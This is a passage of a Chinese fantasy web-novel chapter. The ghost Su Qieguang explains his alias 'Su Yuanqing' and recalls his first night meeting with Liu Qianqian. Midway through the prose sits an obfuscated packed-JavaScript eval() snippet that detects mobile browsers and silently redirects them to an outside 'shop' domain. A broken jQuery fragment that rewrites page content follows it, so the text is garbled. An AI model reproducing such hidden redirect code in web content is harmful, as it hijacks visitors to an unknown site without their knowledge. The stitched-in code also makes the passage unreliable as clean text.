说及自己的死因,苏且光的态度依旧平静,言语之间毫无所谓的魂魄怨灵之气。
便是这样的苏且光,又何以沦为阴魂不散的怨灵?除去对于死亡的畏惧和不肯释然,致使他落到如此田地的原因,若全然是他放不下家国之事,或者是死前他发现血蠕源头的秘密,从而对封印之事忧心。未免也太过牵强了。
前者明显在苏且光话里只是占据一定的分量,并非全然。
后者要是发生在封印和少五毁掉之前,还有一定值得相信的余地,但而今封印破裂,他的怨念当真与此紧紧相系,不应该早早散去?为何还会被双玉视为未散亡魂,又被唤回?
苏且光的话里还有一些字眼,莫名勾去了萧喜的注意力——“隐却名字”。
难道就是那个时候,他将苏且光这个名字化作了柳芊芊口中念念叨叨的“苏元卿”?直觉告诉萧喜,这两人关系匪浅。
据萧喜的观察,柳芊芊喜爱以人名末端最后一个字,加以叠词修饰而作为称呼,这些叠词更是仅限于用在对她来说极为重要亲近之人的身上。譬如陈织梦在她的口中便成为了“梦梦”,那么苏元卿怎么就不能成为“卿卿”呢?那时候,萧喜刚好是抓住了这个细节,才敢在苏元卿和鬼怪卿卿之间拉起一条直接的关系线。
萧喜没敢再耽搁时间,直接先吐为快道:“你方才说,你是提前了足有三个月的时间来了沧凌城,还隐却了名字。那时候你的名字是念作‘苏元卿’吧?所以,你在三个月前就结识了柳芊芊。”
仅仅是“柳芊芊”这三个字便让苏且光淡漠沉敛的眉目变得柔和了起来,气质短时间的转变令朗月和萧喜两个人都没来得及反应。
苏且光眸色暖意渐升,却又转瞬即逝。
直到最后再度恢复平静,方才他那些举动像是从未发生过一样。
苏且光讷言:“你说得不错。那时光,我故意化作童子,并名为卿卿,便是要故意同苏元卿这个名字弄出关系来。你们果然发现了其中蹊跷,当真没有令我失望。”
“你们……究竟都发生了些什么?为何柳芊芊要那般苦苦寻你?你既然不愿见她,或是因为死去而无法见她,又为什么要千方百计地救她?她喜欢你,你对她亦有情,对么?不然,如今封印破了,沧凌城百姓如你所愿活了下来,你又并不关心自己的死因,你的怨气为何迟迟不散?你因柳芊芊而困,对么?”
萧喜控制不住自己想要追问的心。
朗月被萧喜的冲动行事吓了吓,却也什么都不说。因为,柳芊芊的死,对她来说,还是有些难以释怀的,尽管她在表面上并不透露。
苏且光目光微微抬起,看向萧喜,带着上下打量的意味的眼中,闪过了一丝温情,也是转瞬即逝。
“你年纪不大,想法倒是不少,”苏且光意识到萧喜已经被自己那带着打量意味的眼神盯得不自在了,便随意拿了一句话带过,好解了对方的尴尬。
“如你所言,我是喜欢她。但我却绝非是愿意一直圄于情爱的人,我的确心系柳芊芊以致于死后不肯下地狱,却也绝非是可以拿一句‘我爱她到死去活来’这样的话轻飘飘地带过的。”
“什……么……”萧喜现在脑子发热,有些没反应过来。
“在最开始——”
在故事的最开始,苏且光化名苏元卿南下沧凌城,因那时光察觉到城中异样——一股难以形容的、带着妖气的气息微微散在城中。这股气息灵动狡猾,试图蒙混过关,以至于绝大部分修真门派的大人物都对此毫无察觉。如若不是封印动摇,就是苏且光也会和他们一样如此觉得。
初来沧凌城时,苏且光最开始在意和怀疑的自然不是这些气息,而是封印。他曾经在一次深夜偷偷潜入苏府祠堂,却又发现封印完好无损,与自己远在北部边境时感知到的异样完全不同。如今所见封印动摇之势微不可闻,他想上天留给他的时间一定很长,短时间内封印并不会有什么大反应。
也就是这个时候令他降低了警惕心,导致自己千算万算都没有想到,后来自己的死期来得如此之快,又如此之巧。
那夜苏府散着微薄的雾气,不知是何颜色,被黑夜盖在下面,熟能分清?
正因为那次深夜封印的完好,叫苏且光没有在意别的细节,譬如——微薄的雾气剥夺了他的部分感知力,封印散发的那股微妙的气息不会被他察觉,而这些气息刚巧不巧便是他白日里闻到的那股参和着妖气的诡异气息。
因此,苏且光在最开始并没有意识到,封印便是这股气息的源头。
他不愿留在苏府太久,以免被夜里起身的下人们见了身影。
事了后,他径自离府,动作虽然麻利轻巧,但看起来行径还是偷偷摸摸的,刚巧不巧被刚刚溜出柳府的柳芊芊瞧见了。
苏且光一身夜行衣,模样遮遮掩掩,行事偷偷摸摸,如何不叫人心起疑心?说实话,苏且光的身段忽然在半夜里跳出来,首先被人联想的并非是小小的偷窃贼,反而是手段狠烈的采花大盗或是杀人不眨眼的刺客。
柳芊芊自诩身怀不菲武功,但见到这样的人还是会下意识胆颤。
她一弱女子半夜在外,身上除了一把贴身的蝴蝶刀外没有什么靠谱的防身之物,要如何对付这样一个贼人?再说,她方才在墙下,那黑衣人“哗”的一声就突然从自己头顶上跳出来,即便不是贼人,那也会将人吓煞!
“啊……唔唔唔!”
柳芊芊一个“啊”的音节都还没出口,只露出了半截虚音的时候,她就被身着黑衣的苏且光捂住了嘴巴,紧得简直要将她活生生憋死。
苏且光没有给柳芊芊任何反击的机会,在他眼里,柳芊芊那不错的武功就是三脚猫功夫,他拎柳芊芊就和拎鸡崽一样,没什么区别。实力悬殊下,柳芊芊只好任由对方摆布。
一路上苏且光闭口不言,柳芊芊被死死捂着嘴,想说话,但有口难开。
最后苏且光松劲的时候,他们两个人已经远离了半夜寂静无声的城街。他们站在城郊的一堆杂草之中,隔水望去,可以远远看到对面岸城里大户人家高耸檐下晃着明火的盏盏风灯,映入碧水,水下似藏了座海市蜃楼。
沧凌城繁华百态,最喜灯火文化,每日每夜皆有灯火高挂,只是今夜的灯火格外辉煌。因为明日便是灯会了,有钱的人家会早早挂上明灯,迎接明日的灯会盛典。
柳芊芊虽为城中郡守柳浚的嫡女,但因生母早逝、庶母上位、父亲偏心,她自幼便不得宠,所谓的“金枝玉叶大小姐”不过都是名存实亡罢了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272113|129393||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她从小没受过什么大家闺秀的礼教,又因为父亲长时间的冷落偏心,和庶弟庶妹长时间的打压,柳芊芊心底到底是比别的孩子叛逆得早,也懂事得多。幼时家中庶母曾长时间迷恋戏曲,于是父亲便常常请戏班子到家中唱戏耍枪,久而久之,柳芊芊也深受其影响,迷恋上了武艺,尤爱蝴蝶刀、袖中箭之类的暗器,所以她便常常暗里向戏班子里的班主求学,加以长时间的苦练,她终究得了些能傍身的本事。
父亲不爱她,又看她性子越来越顽劣,觉得远远不如她出落得愈发明丽玲珑的庶妹柳玉,更觉着柳芊芊这样的女儿带出去简直伤了他的面子,所以她父亲平日里虽然不管她,但一到大日子便要限制了她的自由,免得被外人瞧见这不争气的丫头,继而牵扯出柳浚宠妾灭妻的旧账。
如明日这般沧凌城盛大的灯会,柳芊芊便被关在了家中。她活了将近二十年,这样的岁数在城中人们口中都是老姑娘了,而沧凌城每年的灯会至少也有两三次,她却除了幼时娘亲还在的时候逛过一次外,便再没有看过了。
灯会的模样……还有娘亲的模样,她都快记不清了。
而今,柳芊芊一夜冲动,在家中侍卫家仆降低警惕心的时候耍了些小聪明,终于逃了出来。她本是高兴的,却没有想到没高兴多久就遇上了干不过的歹徒,她想,自己的命怎么这么苦啊……
在苏且光松开她的时候,她完全没有心思再思考为何歹徒并未伤害她的事情,她只觉得自己已是穷途末路,情绪上头,悲观的念头一发不可收拾。她看见岸城的灯火高悬,那般乐景只衬得她的内心阴暗癫狂,简直是覆水难收。
她哭,甚至还想随心所欲闹一次,她憋屈了二十年,凭什么不能快活一次?!
苏且光看着背对着他,而一直无动于衷的柳芊芊,忽觉得气氛不对,柳芊芊的背影给他的感觉竟不比上战场的那些视死如归的将士们好到哪里去。他不明就里,却也不愿多停留。
他刚要拔腿离开,就忽然被柳芊芊拽着了胳膊,她抓人的力气很大,完全不似普通的女子。
四月春风起,夜也似良宵。苏且光身上的夜行衣不过仅仅是一件薄衫,柳芊芊的力道叫她的指甲也狠狠掐进苏且光的肉里,苏且光一时吃痛,情绪厌烦之下完全不顾对方是女子,手臂一挥,就给柳芊芊甩到了地上。
事后,苏且光才意识到自己行为失礼,他是自诩君子之人,再怎么样也不会动手打女人。
他头一次觉得世事荒谬,又不知所措,也头一次理解了那句“女人不好惹”的千古诀言。
苏且光怀着愧疚之心微微弯下脊背想去扶柳芊芊起来,可是还没将手伸出去,自己的大腿却又被柳芊芊缠上。
吃痛的力度再次深入苏且光的躯体,他牙尖打了颤头,却不敢也不好意思再一脚将此女踢出去。
他狠狠拧眉,却还要佯装好声好气说话的模样。幸好有夜行衣遮住眉眼,遮住了他扭曲狰狞的面孔,不太丟面子。
“你到底想要作甚?”
他耐下性子,弯着脊背对柳芊芊冷冷说道。
“我不许你……走!”
柳芊芊哭得像个孩子,委屈到了极点便就地撒泼,同她平日里的那副倔强刚毅的模样毫不搭界。